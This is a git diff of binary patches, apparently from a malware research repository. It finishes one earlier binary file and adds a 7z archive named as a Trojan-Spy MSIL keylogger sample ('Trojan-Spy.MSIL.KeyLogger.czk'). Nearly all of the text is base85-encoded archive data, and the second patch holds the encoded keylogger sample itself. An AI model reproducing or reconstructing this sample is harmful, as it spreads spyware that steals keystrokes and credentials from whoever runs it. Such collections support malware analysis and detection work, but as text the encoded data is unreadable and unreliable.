z7GdPA2Go#D!M)``IJ0Yww|wfqOrFgm2}Km7*!|p6A>lF93;fbj$%Y=+6SpnCCW-99 z&mdYccxtTF>MDypQM8Mr5R+g$SqjVZNL@2`hlFyTI{#?lP)ZnqaG4;AL68t3t&)bWiM=|--(Ag(x@Pzq_E zPi(4RZXK6r?Wv+I%7>?358)9`kM+KvZ5C>Aohr14KGhnCdLYIt&A*>oS9THeHXwzW zCdT>sgZ{Og{AW@T;lm&P+XeoYSo~jN@qdZM|0NdxmstG&IkEUVDREZS*{t^wbt`-% z*<>FNdex7DvynZ$ilY~UoQjkzgN&J%tb>KcZv=&h(MSB__;I{XeWfN*5Y3O{iZDK{ z3~`mFxLR3Orjl#QdWPUOBo+7*pUD?um-@bu)W=QAM_2^3Wh^iqHk)3c9g(ihwAWgt#_6<%#6O4%tQOlTO9UG`H)j+$? zDFH~>BC8l`APp0%qe!!WGec;lr6{1iOI@Z6SqDjFZQ-%XBSQ)WVK41d3o*m48_{63 z3!}NJyxD%N{)1;A=NJaKDIG`M_R+qQC)Ey`gQ~_gNuJz>rkH8JI-&{T@kCgKnR7}) zh`2B@*^Mxh28VY1lp=@|7DVFdZQ;OMR-gVhWkTufx)@M$hO0GQA*SD%CyM4K3E`JO z=}Br@uWT+>V?1iplMH!J=>Cb2PqE)*uLo4@)*LA^#>TZt=Z9IOr?BN6tp=_@e)?{4 zm+uMAnYzdn_mlAE;`1q-1fR?9J^Kds82d{7!Lp^b*7DEmT*T3#?uP0|jUlH|E30)V zeW=e`7@HjfkG_yKPH=!cDU(f`q=4pq64#i-Nn~|2>eyrPjWa^2+FBj&31+#Djb?9_ z6P$uEJ>(y>4C;Ahe1)hhD<-b5t@cY}=f15JPG{4p9fQi}2Jp)UNkPzSj<7Xc^JW+c zNnTknoZ5MMOB zTswdIE?SuE1(*Dzqf6zR&mez|!vNrZ_Zc6Y;lhWD68|6F)5X@lIzi51_G9t#L`>2< zQi#mgW6P{t?x6sY?fx%|1?a%%^0pG<#QJ-njWn+poW{*(P3XeK91{=O=@$Ac_cgMt zi&Mwc57zx!u0rf%(~EfxYrNPikgKl8B%AIJ3|ZpvI|-vCKpQ@{c@z+u&+G1W8>+0? zVGF#B0ZDL^Fia9y1~rO3QUO3%NI9nDjEiy)+@7exH6r->U|SX%bl$3GcT;M&pHcl3 zpJVKF*hR+_0=7B(urAxiamdN%1g*_PFE|usfI$R+{?jV--=4j{y}tbG z|NmH%4g*B=uLHmz<&iJ8Z=|gai@=QAGS#;qpH=qNUw-@iJHTJpXa5;M;-g3Xv0D3| zG(&xs{lC@x=j;IHU&F?47x(4kZ~S8t;_sS&%MHeQdJLtc4|HhYp!~55~mw!^4 zgMnVf)3gYjpZw3J`0MPLKbvCqccp)yEAvkve^})|f&7)<|1*dO(Z8--&g)NX|34ul z*8Fbw|Ag>Yiulh6DJ1`e@ZW^-KLN~A%Khuc{wILHmfZggP)hw@0Dn~FK4O7?LijHF zJ3{LBf4&oct@QmFA%XsH2!E>k{S(rj;eSHOVE) zuN9*|Hw2aGZ|eUI^dD@N(f^-X@_UT-XLm#RcT0YAH&WKWr{@3Elt1*x?ELdR`D+aL z=cd4M{XdHc|G%LAb!huDY9;Ug3H4*3`zOfwv)>K*-wg%-sOJFzA$+`DKBhe3 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.czk.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.czk.7z new file mode 100644 index 0000000000000000000000000000000000000000..ee8f486faa1698e3c16b8fc479174cc4a5f56a80 GIT binary patch literal 210032 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 